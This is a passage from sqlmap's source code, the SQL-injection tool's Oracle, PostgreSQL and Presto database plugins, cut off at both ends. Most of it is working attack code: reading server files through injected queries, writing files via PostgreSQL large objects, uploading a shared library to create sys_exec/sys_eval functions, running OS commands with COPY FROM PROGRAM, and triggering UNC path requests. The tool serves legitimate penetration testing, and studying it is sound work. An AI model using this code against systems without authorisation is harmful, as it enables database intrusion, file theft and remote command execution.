sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.agent import agent from lib.core.common import dataToOutFile from lib.core.common import decodeDbmsHexValue from lib.core.common import getSQLSnippet from lib.core.common import isNoneValue from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): localFilePaths = [] snippet = getSQLSnippet(DBMS.ORACLE, "read_file_export_extension") for query in snippet.split("\n"): query = query.strip() query = agent.prefixQuery("OR (%s) IS NULL" % query) query = agent.suffixQuery(query, trimEmpty=False) payload = agent.payload(newValue=query) Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) for remoteFile in remoteFile.split(','): if not kb.bruteMode: infoMsg = "fetching file: '%s'" % remoteFile logger.info(infoMsg) kb.fileReadMode = True fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) kb.fileReadMode = False if not isNoneValue(fileContent): fileContent = decodeDbmsHexValue(fileContent, True) if fileContent.strip(): localFilePath = dataToOutFile(remoteFile, fileContent) localFilePaths.append(localFilePath) elif not kb.bruteMode: errMsg = "no data retrieved" logger.error(errMsg) return localFilePaths def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "File system write access not yet implemented for " errMsg += "Oracle" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/oracle/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import FORK from lib.core.enums import HASHDB_KEYS from lib.core.session import setDbms from lib.core.settings import ORACLE_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.ORACLE) def getFingerprint(self): fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) if fork is None: if inject.checkBooleanExpression("NULL_EQU(NULL,NULL)=1"): fork = FORK.DM8 else: fork = "" hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.ORACLE if fork: value += " (%s fork)" % fork return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) if fork: value += "\n%sfork fingerprint: %s" % (blank, fork) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(ORACLE_ALIASES): setDbms(DBMS.ORACLE) self.getBanner() return True infoMsg = "testing %s" % DBMS.ORACLE logger.info(infoMsg) # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does # not work connecting directly to the Oracle database if conf.direct: result = True else: result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)") if result: infoMsg = "confirming %s" % DBMS.ORACLE logger.info(infoMsg) # NOTE: SELECT NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1]) FROM DUAL does # not work connecting directly to the Oracle database if conf.direct: result = True else: result = inject.checkBooleanExpression("NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1])") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warning(warnMsg) return False setDbms(DBMS.ORACLE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.ORACLE logger.info(infoMsg) # Reference: https://en.wikipedia.org/wiki/Oracle_Database for version in ("23c", "21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"): number = int(re.search(r"([\d]+)", version).group(1)) output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) if output: Backend.setVersion(version) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warning(warnMsg) return False def forceDbmsEnum(self): if conf.db: conf.db = conf.db.upper() if conf.tbl: conf.tbl = conf.tbl.upper() ================================================ FILE: plugins/dbms/oracle/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" True >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||NCHR(235)||CHR(102)||CHR(103)||CHR(104) FROM foobar" True """ def escaper(value): return "||".join("%s(%d)" % ("CHR" if _ < 128 else "NCHR", _) for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/oracle/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "Operating system command execution functionality not " errMsg += "yet implemented for Oracle" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "Operating system shell functionality not yet " errMsg += "implemented for Oracle" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "Operating system out-of-band control functionality " errMsg += "not yet implemented for Oracle" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "One click operating system out-of-band control " errMsg += "functionality not yet implemented for Oracle" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/postgresql/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import PGSQL_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.postgresql.enumeration import Enumeration from plugins.dbms.postgresql.filesystem import Filesystem from plugins.dbms.postgresql.fingerprint import Fingerprint from plugins.dbms.postgresql.syntax import Syntax from plugins.dbms.postgresql.takeover import Takeover from plugins.generic.misc import Miscellaneous class PostgreSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines PostgreSQL methods """ def __init__(self): self.excludeDbsList = PGSQL_SYSTEM_DBS self.sysUdfs = { # UDF name: UDF parameters' input data-type and return data-type "sys_exec": {"input": ["text"], "return": "int4"}, "sys_eval": {"input": ["text"], "return": "text"}, "sys_bineval": {"input": ["text"], "return": "int4"}, "sys_fileread": {"input": ["text"], "return": "text"} } for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.PGSQL] = Syntax.escape ================================================ FILE: plugins/dbms/postgresql/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import psycopg2 import psycopg2.extensions psycopg2.extensions.register_type(psycopg2.extensions.UNICODE) psycopg2.extensions.register_type(psycopg2.extensions.UNICODEARRAY) except: pass from lib.core.common import getSafeExString from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://initd.org/psycopg/ User guide: http://initd.org/psycopg/docs/ API: http://initd.org/psycopg/docs/genindex.html Debian package: python-psycopg2 License: GPL Possible connectors: http://wiki.python.org/moin/PostgreSQL """ def connect(self): self.initConnection() try: self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port) except (psycopg2.OperationalError, UnicodeDecodeError) as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.set_client_encoding('UNICODE') self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except psycopg2.ProgrammingError as ex: logger.warning(getSafeExString(ex)) return None def execute(self, query): retVal = False try: self.cursor.execute(query) retVal = True except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex: logger.warning(("(remote) '%s'" % getSafeExString(ex)).strip()) except psycopg2.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() return retVal ================================================ FILE: plugins/dbms/postgresql/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getHostname(self): warnMsg = "on PostgreSQL it is not possible to enumerate the hostname" logger.warning(warnMsg) ================================================ FILE: plugins/dbms/postgresql/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.common import randomInt from lib.core.compat import xrange from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import LOBLKSIZE from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): self.oid = None self.page = None GenericFilesystem.__init__(self) def stackedReadFile(self, remoteFile): if not kb.bruteMode: infoMsg = "fetching file: '%s'" % remoteFile logger.info(infoMsg) self.initEnv() return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread") def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "PostgreSQL does not support file upload with UNION " errMsg += "query SQL injection technique" raise SqlmapUnsupportedFeatureException(errMsg) def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): localFileSize = os.path.getsize(localFile) content = open(localFile, "rb").read() self.oid = randomInt() self.page = 0 self.createSupportTbl(self.fileTblName, self.tblField, "text") debugMsg = "create a new OID for a large object, it implicitly " debugMsg += "adds an entry in the large objects system table" logger.debug(debugMsg) # References: # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html inject.goStacked("SELECT lo_unlink(%d)" % self.oid) inject.goStacked("SELECT lo_create(%d)" % self.oid) inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid) for offset in xrange(0, localFileSize, LOBLKSIZE): fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False) sqlQueries = self.fileToSqlQueries(fcEncodedList) for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName)) inject.goStacked("DELETE FROM %s" % self.fileTblName) self.page += 1 debugMsg = "exporting the OID %s file content to " % fileType debugMsg += "file '%s'" % remoteFile logger.debug(debugMsg) inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, remoteFile), silent=True) written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) inject.goStacked("SELECT lo_unlink(%d)" % self.oid) return written ================================================ FILE: plugins/dbms/postgresql/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import FORK from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import PGSQL_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.PGSQL) def getFingerprint(self): fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) if fork is None: if inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'"): fork = FORK.COCKROACHDB elif inject.checkBooleanExpression("VERSION() LIKE '%Redshift%'"): # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version fork = FORK.REDSHIFT elif inject.checkBooleanExpression("VERSION() LIKE '%Greenplum%'"): # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png fork = FORK.GREENPLUM elif inject.checkBooleanExpression("VERSION() LIKE '%Yellowbrick%'"): # Reference: https://www.yellowbrick.com/docs/3.3/ybd_sqlref/version.html fork = FORK.YELLOWBRICK elif inject.checkBooleanExpression("VERSION() LIKE '%EnterpriseDB%'"): # Reference: https://www.enterprisedb.com/edb-docs/d/edb-postgres-advanced-server/user-guides/user-guide/11/EDB_Postgres_Advanced_Server_Guide.1.087.html fork = FORK.ENTERPRISEDB elif inject.checkBooleanExpression("VERSION() LIKE '%YB-%'"): # Reference: https://github.com/yugabyte/yugabyte-db/issues/2447#issue-499562926 fork = FORK.YUGABYTEDB elif inject.checkBooleanExpression("VERSION() LIKE '%openGauss%'"): fork = FORK.OPENGAUSS elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ fork = FORK.AURORA else: fork = "" hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.PGSQL if fork: value += " (%s fork)" % fork return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) if fork: value += "\n%sfork fingerprint: %s" % (blank, fork) return value def checkDbms(self): """ References for fingerprint: * https://www.postgresql.org/docs/current/static/release.html """ if not conf.extensiveFp and Backend.isDbmsWithin(PGSQL_ALIASES): setDbms(DBMS.PGSQL) self.getBanner() return True infoMsg = "testing %s" % DBMS.PGSQL logger.info(infoMsg) # NOTE: Vertica works too without the CONVERT_TO() result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL") if result: infoMsg = "confirming %s" % DBMS.PGSQL logger.info(infoMsg) result = inject.checkBooleanExpression("COALESCE([RANDNUM], NULL)=[RANDNUM]") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL logger.warning(warnMsg) return False setDbms(DBMS.PGSQL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) if inject.checkBooleanExpression("JSON_QUERY(NULL::jsonb, '$') IS NULL"): Backend.setVersion(">= 17.0") elif inject.checkBooleanExpression("RANDOM_NORMAL(0.0, 1.0) IS NOT NULL"): Backend.setVersion(">= 16.0") elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"): Backend.setVersion(">= 15.0") elif inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"): Backend.setVersion(">= 14.0") elif inject.checkBooleanExpression("NULL::anycompatible IS NULL"): Backend.setVersion(">= 13.0") elif inject.checkBooleanExpression("SINH(0)=0"): Backend.setVersion(">= 12.0") elif inject.checkBooleanExpression("SHA256(NULL) IS NULL"): Backend.setVersion(">= 11.0") elif inject.checkBooleanExpression("XMLTABLE(NULL) IS NULL"): Backend.setVersionList([">= 10.0", "< 11.0"]) elif inject.checkBooleanExpression("SIND(0)=0"): Backend.setVersionList([">= 9.6.0", "< 10.0"]) elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"): Backend.setVersionList([">= 9.5.0", "< 9.6.0"]) elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"): Backend.setVersionList([">= 9.4.0", "< 9.5.0"]) elif inject.checkBooleanExpression("ARRAY_REPLACE(NULL,1,1) IS NULL"): Backend.setVersionList([">= 9.3.0", "< 9.4.0"]) elif inject.checkBooleanExpression("ROW_TO_JSON(NULL) IS NULL"): Backend.setVersionList([">= 9.2.0", "< 9.3.0"]) elif inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"): Backend.setVersionList([">= 9.1.0", "< 9.2.0"]) elif inject.checkBooleanExpression("LENGTH(TO_CHAR(1,'EEEE'))>0"): Backend.setVersionList([">= 9.0.0", "< 9.1.0"]) elif inject.checkBooleanExpression("2=(SELECT DIV(6,3))"): Backend.setVersionList([">= 8.4.0", "< 9.0.0"]) elif inject.checkBooleanExpression("EXTRACT(ISODOW FROM CURRENT_TIMESTAMP)<8"): Backend.setVersionList([">= 8.3.0", "< 8.4.0"]) elif inject.checkBooleanExpression("ISFINITE(TRANSACTION_TIMESTAMP())"): Backend.setVersionList([">= 8.2.0", "< 8.3.0"]) elif inject.checkBooleanExpression("9=(SELECT GREATEST(5,9,1))"): Backend.setVersionList([">= 8.1.0", "< 8.2.0"]) elif inject.checkBooleanExpression("3=(SELECT WIDTH_BUCKET(5.35,0.024,10.06,5))"): Backend.setVersionList([">= 8.0.0", "< 8.1.0"]) elif inject.checkBooleanExpression("'d'=(SELECT SUBSTR(MD5('sqlmap'),1,1))"): Backend.setVersionList([">= 7.4.0", "< 8.0.0"]) elif inject.checkBooleanExpression("'p'=(SELECT SUBSTR(CURRENT_SCHEMA(),1,1))"): Backend.setVersionList([">= 7.3.0", "< 7.4.0"]) elif inject.checkBooleanExpression("8=(SELECT BIT_LENGTH(1))"): Backend.setVersionList([">= 7.2.0", "< 7.3.0"]) elif inject.checkBooleanExpression("'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'),2,1))"): Backend.setVersionList([">= 7.1.0", "< 7.2.0"]) elif inject.checkBooleanExpression("8=(SELECT POW(2,3))"): Backend.setVersionList([">= 7.0.0", "< 7.1.0"]) elif inject.checkBooleanExpression("'a'=(SELECT MAX('a'))"): Backend.setVersionList([">= 6.5.0", "< 6.5.3"]) elif inject.checkBooleanExpression("VERSION()=VERSION()"): Backend.setVersionList([">= 6.4.0", "< 6.5.0"]) elif inject.checkBooleanExpression("2=(SELECT SUBSTR(CURRENT_DATE,1,1))"): Backend.setVersionList([">= 6.3.0", "< 6.4.0"]) elif inject.checkBooleanExpression("'s'=(SELECT SUBSTRING('sqlmap',1,1))"): Backend.setVersionList([">= 6.2.0", "< 6.3.0"]) else: Backend.setVersion("< 6.2.0") return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL logger.warning(warnMsg) return False def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) # Windows executables should always have ' Visual C++' or ' mingw' # patterns within the banner osWindows = (" Visual C++", "mingw") for osPattern in osWindows: query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%" + osPattern + "%')>0" if inject.checkBooleanExpression(query): Backend.setOs(OS.WINDOWS) break if Backend.getOs() is None: Backend.setOs(OS.LINUX) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() logger.info(infoMsg) self.cleanup(onlyFileTbl=True) ================================================ FILE: plugins/dbms/postgresql/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ Note: PostgreSQL has a general problem with concenation operator (||) precedence (hence the parentheses enclosing) e.g. SELECT 1 WHERE 'a'!='a'||'b' will trigger error ("argument of WHERE must be type boolean, not type text") >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar" True """ def escaper(value): return "(%s)" % "||".join("CHR(%d)" % _ for _ in getOrds(value)) # Postgres CHR() function already accepts Unicode code point of character(s) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/postgresql/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import decloakToTemp from lib.core.common import flattenValue from lib.core.common import filterNone from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isStackingAvailable from lib.core.common import randomStr from lib.core.compat import LooseVersion from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import OS from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def udfSetRemotePath(self): # On Windows if Backend.isOs(OS.WINDOWS): # The DLL can be in any folder where postgres user has # read/write/execute access is valid # NOTE: by not specifing any path, it will save into the # data directory, on PostgreSQL 8.3 it is # C:\Program Files\PostgreSQL\8.3\data. self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) # On Linux else: # The SO can be in any folder where postgres user has # read/write/execute access is valid self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) def udfSetLocalPaths(self): self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) self.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] if not banVer or not banVer[0].isdigit(): errMsg = "unsupported feature on unknown version of PostgreSQL" raise SqlmapUnsupportedFeatureException(errMsg) elif LooseVersion(banVer) >= LooseVersion("10"): majorVer = banVer.split('.')[0] elif LooseVersion(banVer) >= LooseVersion("8.2") and '.' in banVer: majorVer = '.'.join(banVer.split('.')[:2]) else: errMsg = "unsupported feature on versions of PostgreSQL before 8.2" raise SqlmapUnsupportedFeatureException(errMsg) try: if Backend.isOs(OS.WINDOWS): _ = os.path.join(self.udfLocalFile, "postgresql", "windows", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.dll_") checkFile(_) self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "dll" else: _ = os.path.join(self.udfLocalFile, "postgresql", "linux", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.so_") checkFile(_) self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "so" except SqlmapSystemException: errMsg = "unsupported feature on PostgreSQL %s (%s-bit)" % (majorVer, Backend.getArch()) raise SqlmapUnsupportedFeatureException(errMsg) def udfCreateFromSharedLib(self, udf, inpRet): if udf in self.udfToCreate: logger.info("creating UDF '%s' from the binary UDF file" % udf) inp = ", ".join(i for i in inpRet["input"]) ret = inpRet["return"] # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html inject.goStacked("DROP FUNCTION %s(%s)" % (udf, inp)) inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf)) self.createdUdf.add(udf) else: logger.debug("keeping existing UDF '%s' as requested" % udf) def uncPathRequest(self): self.createSupportTbl(self.fileTblName, self.tblField, "text") inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True) self.cleanup(onlyFileTbl=True) def copyExecCmd(self, cmd): output = None if isStackingAvailable(): # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField) self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''")) inject.goStacked(self._forgedCmd) query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName) output = inject.getValue(query, resumeValue=False) if isListLike(output): output = flattenValue(output) output = filterNone(output) if not isNoneValue(output): output = os.linesep.join(output) self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName inject.goStacked(self._cleanupCmd) return output def checkCopyExec(self): if kb.copyExecTest is None: kb.copyExecTest = self.copyExecCmd("echo 1") == '1' return kb.copyExecTest ================================================ FILE: plugins/dbms/presto/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import PRESTO_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.presto.enumeration import Enumeration from plugins.dbms.presto.filesystem import Filesystem from plugins.dbms.presto.fingerprint import Fingerprint from plugins.dbms.presto.syntax import Syntax from plugins.dbms.presto.takeover import Takeover from plugins.generic.misc import Miscellaneous class PrestoMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Presto methods """ def __init__(self): self.excludeDbsList = PRESTO_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.PRESTO] = Syntax.escape ================================================ FILE: plugins/dbms/presto/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import prestodb except: pass import logging import struct from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: https://github.com/prestodb/presto-python-client User guide: https://github.com/prestodb/presto-python-client/blob/master/README.md API: https://www.python.org/dev/peps/pep-0249/ PyPI package: presto-python-client License: Apache License 2.0 """ def connect(self): self.initConnection() try: self.connector = prestodb.dbapi.connect(host=self.hostname, user=self.user, catalog=self.db, port=self.port, request_timeout=conf.timeout) except (prestodb.exceptions.OperationalError, prestodb.exceptions.InternalError, prestodb.exceptions.ProgrammingError, struct.error) as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except prestodb.exceptions.ProgrammingError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): retVal = False try: self.cursor.execute(query) retVal = True except (prestodb.exceptions.OperationalError, prestodb.exceptions.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) except prestodb.exceptions.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() return retVal ================================================ FILE: plugins/dbms/presto/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getBanner(self): warnMsg = "on Presto it is not possible to get the banner" logger.warning(warnMsg) return None def getCurrentDb(self): warnMsg = "on Presto it is not possible to get name of the current database (schema)" logger.warning(warnMsg) def isDba(self, user=None): warnMsg = "on Presto it is not possible to test if current user is DBA" logger.warning(warnMsg) def getUsers(self): warnMsg = "on Presto it is not possible to enumerate the users" logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Presto it is not possible to enumerate the user password hashes" logger.warning(warnMsg) return {} def getPrivileges(self, *args, **kwargs): warnMsg = "on Presto it is not possible to enumerate the user privileges" logger.warning(warnMsg) return {} def getRoles(self, *args, **kwargs): warnMsg = "on Presto it is not possible to enumerate the user roles" logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on Presto it is not possible to enumerate the hostname" logger.warning(warnMsg) def getStatements(self): warnMsg = "on Presto it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] ================================================ FILE: plugins/dbms/presto/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): errMsg = "on Presto it is not possible to read files" raise 